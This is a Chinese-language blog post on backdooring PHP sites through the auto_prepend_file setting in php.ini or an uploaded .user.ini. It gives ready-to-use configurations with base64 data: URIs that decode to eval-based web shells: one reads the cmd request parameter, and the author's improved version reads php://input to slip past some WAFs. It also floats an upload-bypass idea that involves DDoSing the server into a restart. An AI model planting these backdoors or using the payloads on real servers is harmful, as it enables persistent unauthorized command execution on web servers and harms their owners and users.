今天在看TIPI的时候读到了$PHP_SRC/main/php_globals.h里面全局变量宏中全局变量是通过php.ini来加载赋值的。
里面有两个值[图1]

1
2
char *auto_append_file;
char *auto_prepend_file;

这两个可以在主文件之前自动解析。
那么就可以通过增加这两个值实现在其他文件夹放入我们的后门文件,并且在网站的任何一个目录用这个后门.

图1

php.ini中
增加
auto_prepend_file = “/path/to/your/file”

假设我们放的是

1
2
<?php
system('la -al')

网站任意页面都会执行这段代码

5E8CAD57-CC76-4579-9DE4-208BC28728D6.png

和t00ls上朋友讨论,还可以配合

allow_url_include=On
这个选项来无需文件,直接使用PHP的封装器来包括一句话。

那位朋友给出的方案是

1
2
3
allow_url_include=On
auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"

其中base64解码出来的是

1
<?php @eval($_REQUEST[cmd]);?>

个人感觉的话用$_REQUEST不太好,还可以改进一下。
php://input比较好。

因为如果用php://input的话,是可以用来绕过一部分waf的。

所以我给出来的方案是

1
2
allow_url_include=On
auto_prepend_file = "data:;base64,PD9waHAgQGV2YWwoZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0JykpOw=="

测试
E73106EC-02A0-430F-8877-796CB797481C.png
可以注意到用没有出现在RFC协议中的HTTP METHOD也可以代码执行了:)

还有一个想法就是,假设有一个文件上传,限定了不能上传除了jpg的其它文件,可以通过上传一个.htaccess覆盖auto_prepend_file变量,再把机器DDOS重启,从而getshell

========更新2========
.htaccess应该是不行的,原因如下:
Using php_flag or php_value in .htaccess files

Some PHP scripts suggest using “php_value” or “php_flag” commands in .htaccess files, as in this example:

php_value include_path “.:/usr/local/lib/php”
php_flag display_errors Off
php_value upload_max_filesize 2M
However, our servers run PHP in “CGI mode” as recommended by the PHP developers (not as an Apache module), so you can’t use “php_value” or “php_flag” commands in .htaccess files. If you try to do so, you’ll see an “internal server error” message.

You can modify your php.ini file to get the same effect, though. In fact, modifying php.ini is actually more flexible than using php_value or php_flag: there are many things you can’t override using .htaccess files, but you can override almost any PHP setting in the php.ini file.

See our PHP support page for instructions on modifying php.ini. To get the same effect as the .htaccess lines above, you would simply add these lines to your custom php.ini file:

include_path = “.:/usr/local/lib/php”
display_errors = Off
upload_max_filesize = 2M

========更新3========
经过测试,上传.user.ini

1
2
allow_url_include=On
auto_prepend_file = "data:;base64,PD9waHAgQGV2YWwoZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0JykpOw=="

包含以上的是可以getshell的,当前(目录下的任意文件可以命令执行)

Comments

2017-10-10
Contents

⬆︎TOP